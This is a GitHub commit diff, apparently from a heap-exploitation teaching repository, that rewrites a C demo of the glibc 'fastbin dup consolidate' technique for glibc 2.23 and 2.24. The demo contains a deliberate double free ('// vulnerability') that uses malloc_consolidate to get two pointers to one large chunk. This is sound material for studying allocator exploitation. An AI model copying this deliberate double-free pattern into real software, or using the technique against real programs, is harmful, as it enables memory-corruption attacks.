Skip to content

Commit 167a69e

Browse files
committed
support 2.23 and 2.24 without tcache
1 parent 66da022 commit 167a69e

File tree

2 files changed

+93
-36
lines changed

2 files changed

+93
-36
lines changed

glibc_2.23/fastbin_dup_consolidate.c

Lines changed: 46 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -2,35 +2,64 @@
22
#include <stdlib.h>
33
#include <assert.h>
44

5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized).
26+
27+
*/
28+
529
int main() {
6-
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7-
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
8-
printf("Fill up the tcache list to force the fastbin usage...\n");
30+
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\n");
931

1032
void* p1 = calloc(1,0x40);
1133

12-
printf("Allocate another chunk of the same size p1=%p \n", p1);
13-
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
14-
free(p1);
34+
printf("Allocate a fastbin chunk p1=%p \n", p1);
35+
printf("Freeing p1 will add it to the fastbin.\n\n");
36+
free(p1);
37+
38+
void* p3 = malloc(0x400);
39+
40+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
41+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
42+
printf("a chunk with chunk size 0x410. p3=%p\n", p3);
1543

16-
void* p3 = malloc(0x400);
17-
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
18-
printf("will trigger the malloc_consolidate and merge\n");
19-
printf("the fastbin chunks into the top chunk, thus\n");
20-
printf("p1 and p3 are now pointing to the same chunk !\n\n");
44+
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
45+
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
2146

2247
assert(p1 == p3);
2348

24-
printf("Triggering the double free vulnerability!\n\n");
25-
free(p1);
49+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
50+
free(p1); // vulnerability
2651

52+
printf("So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\n");
53+
printf("chunk got consolidated with it. We have thus achieved UAF!\n");
54+
55+
printf("We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\n");
56+
printf("p3 and p1 will still be pointing to it.\n");
2757
void *p4 = malloc(0x400);
2858

2959
assert(p4 == p3);
3060

31-
printf("The double free added the chunk referenced by p1 \n");
32-
printf("to the tcache thus the next similar-size malloc will\n");
33-
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
34-
61+
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
62+
printf("and both point to the same large-sized chunk. p3=%p p4=%p\n", p3, p4);
63+
printf("We have achieved duplication!\n\n");
3564
return 0;
3665
}

glibc_2.24/fastbin_dup_consolidate.c

Lines changed: 47 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -2,36 +2,64 @@
22
#include <stdlib.h>
33
#include <assert.h>
44

5-
int main()
6-
{
7-
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
8-
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
9-
printf("Fill up the tcache list to force the fastbin usage...\n");
5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized).
26+
27+
*/
28+
29+
int main() {
30+
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\n");
1031

1132
void* p1 = calloc(1,0x40);
1233

13-
printf("Allocate another chunk of the same size p1=%p \n", p1);
14-
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
15-
free(p1);
34+
printf("Allocate a fastbin chunk p1=%p \n", p1);
35+
printf("Freeing p1 will add it to the fastbin.\n\n");
36+
free(p1);
37+
38+
void* p3 = malloc(0x400);
39+
40+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
41+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
42+
printf("a chunk with chunk size 0x410. p3=%p\n", p3);
1643

17-
void* p3 = malloc(0x400);
18-
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
19-
printf("will trigger the malloc_consolidate and merge\n");
20-
printf("the fastbin chunks into the top chunk, thus\n");
21-
printf("p1 and p3 are now pointing to the same chunk !\n\n");
44+
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
45+
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
2246

2347
assert(p1 == p3);
2448

25-
printf("Triggering the double free vulnerability!\n\n");
26-
free(p1);
49+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
50+
free(p1); // vulnerability
2751

52+
printf("So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\n");
53+
printf("chunk got consolidated with it. We have thus achieved UAF!\n");
54+
55+
printf("We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\n");
56+
printf("p3 and p1 will still be pointing to it.\n");
2857
void *p4 = malloc(0x400);
2958

3059
assert(p4 == p3);
3160

32-
printf("The double free added the chunk referenced by p1 \n");
33-
printf("to the tcache thus the next similar-size malloc will\n");
34-
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
35-
61+
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
62+
printf("and both point to the same large-sized chunk. p3=%p p4=%p\n", p3, p4);
63+
printf("We have achieved duplication!\n\n");
3664
return 0;
3765
}

0 commit comments

Comments
 (0)